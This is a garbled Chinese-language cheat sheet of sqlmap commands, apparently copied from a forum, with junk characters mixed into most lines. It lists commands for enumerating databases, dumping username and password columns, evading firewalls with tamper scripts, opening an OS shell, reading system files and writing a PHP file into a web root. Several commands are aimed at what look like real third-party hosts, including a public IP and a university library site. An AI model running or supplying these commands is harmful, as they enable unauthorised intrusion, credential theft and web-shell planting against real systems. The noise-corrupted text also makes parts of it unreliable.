/pentest/database/sqlmap1 n0 t$ F" Q5 ^' f
+ E6 ]) Y# G0 e* Aupdate :::::> in the folder after execute following order : svn update
# G! y1 h8 J( Y% u3 e ~& Z, @! {9 Z1 u
2 C' }- o1 @4 i. R1 @6 q/ jsqlmap.py -r 1.txt --current-db
& n6 @& z n! _$ C- V9 m& Y& \* k, x+ B$ u7 W
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”/ S* T* j) U; V% Y8 m5 V
1 u. g$ b- F9 G+ s3 X
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) 5 p E1 h" U. @/ {6 @: ^( h' A
猜解数据库
+ D: g: ^0 o% q1 N" w/ q7 x9 y./sqlmap.py -u "injection-url" --dbs) O* J4 R0 o4 v& n \
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"4 _ N7 g: @6 B* y# m1 O. f+ S$ v& t/ P
2 H" [8 ^; u4 f1 z/ e$ ~% F6 ~$ Q猜解表名# N% @7 c, f& T- p x) H0 C) Y
./sqlmap.py -u "injection-url" -D database_name --tables
5 A* x6 b% M C [+ l9 x2 v' ~
9 H7 Y& V2 l; c# F" d8 ?5 csqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"0 M( A6 R* L+ q8 Y& G: T7 Z, C
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" - p1 b) G4 R$ K- x9 u# g
! H6 \: q3 F$ y) z6 esqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
8 c3 y, L- |; `8 X- j3 o
! \$ S0 o. ?/ T+ j9 ^8 tsqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"1 k+ p% W8 \: J. e" K' U M- m8 p
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
+ c6 C* l$ t+ U0 e: e8 R' g3 rsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" # e: Y; H" V$ v6 d
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"1 }/ a6 @- h1 U0 P% V
L: n, {1 _7 ^) u9 q$ H
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"2 J5 e! z; G6 t: x1 h- e" l& T
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
% l) `8 H0 K5 S1 Osqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"0 Z$ _5 T3 v; o C3 i5 g2 `
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"+ o' e9 `! d3 l( Z' d7 k- Y, ]3 x
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump3 d8 P' v# B5 F% y# A# |4 p3 Z
/ `. e! `0 c/ A4 K6 \: [! \1 p
sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了+ v1 }1 E1 C8 k4 I- k4 K/ e
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"3 ]/ x8 F$ ]7 F
7 k6 y3 z$ ^# Y% {5 L$ O% R' a
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"1 d% C; ?2 {6 f% A
猜解列名
- L$ k$ Y5 C3 S0 Y6 g./sqlmap.py -u "injection-url" -D database_name -T table_name --columns% \% c9 ~$ D$ z2 |5 B, Q( h+ b
- i& D3 ^8 o2 Q- M# V7 c4 R
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
5 t1 X9 e2 N& [% s/ x- Gsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" / T$ N- y7 U! _- s- z1 Q
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"! f! c$ D1 o8 i. E% K
3 N7 q; w; @) i3 Q
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
6 {* w, Z1 U$ a7 P) s&submit=Go
7 Q, y$ d, P: v3 s" S猜解值
, E3 t1 { b, t% W1 w7 R5 I5 F./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
* ?5 z2 ?1 W/ B3 c% n& v========================================================& ^/ b! h: H9 P3 o/ Q
搜索表名中包括mana字符的
3 K+ v; t! A: T: F+ S* R/sqlmap.py -u "injection-url" -T mana --search
& ~4 j1 J8 r8 x+ N5 q) L4 E/ w返回一个交互式sql shell0 u+ c% `% o3 @+ m
/sqlmap.py -u "injection-url" --sql-shell' ^3 V8 E7 D+ J6 Y* ~2 W
读取指定文件(需权限)2 U( [6 E. |( [- [5 ] P; I) K# G
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
- d( D' r; s# L7 r9 n查看当前 用户 及 数据库
: A3 z5 P- m7 z. p* M3 k% v/sqlmap.py -u "injection-url" --current-user --current-db
6 H2 h7 O. c1 d# }3 f& ?: @/ s. T本地文件 写入 远程目标绝对路径
X& u, H7 O4 I8 C- C! c/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径- u& E) H+ G3 P, o
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
7 g: E; g- W7 ^( l P D
9 j# k# [4 D i: y5 b+ N/ g1 asqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
9 s7 N, i" e5 N/ s, Y$ i查看某用的权限' x# o8 D. W$ P# O0 y; I* W
/sqlmap.py -u "injection-url" --privileges -U root* e) L9 k3 v: b
查看当前用户是否为dba) a# ^" D4 o4 K s; g! U/ H
/sqlmap.py -u "injection-url" --is-dba( [5 M! G" I/ k. x% O/ d! @
读取所有数据库用户或指定数据库用户的密码
3 j; ~" }; P" l( i4 a) {" `sqlmap.py -r 1.txt --users --passwords0 d! E# |' P9 c7 R0 G, r
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" + h( h7 r- o( l. P( l
9 m1 h, M7 g) J j6 W& m8 Y/sqlmap.py -u "injection-url" --passwords -U root
/ p5 ^! x2 r! d$ l/ A
0 I" y0 L! X; L1 P k$ R--start&&--stop 与 --first&&--last 的区别
0 Q" \4 n# W0 i. l/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
1 J. W" v7 m6 p( Q: R/ ^) B) w. E/ {: R0 @! a8 a! r9 G. I! k7 O- u
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)1 L z4 }& R# ~3 p% ?
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables' J! @& ]. i- m3 S; M8 b& Z
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns+ \# T( L/ F* R* I* P- f
5 B8 I$ y% T8 f4 X执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
& i3 S7 J) ^9 Z5 I$ c# W g* i/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
' \ j; n- k/ U: z1 y& f- K! `' P$ n( G7 H7 x# @
|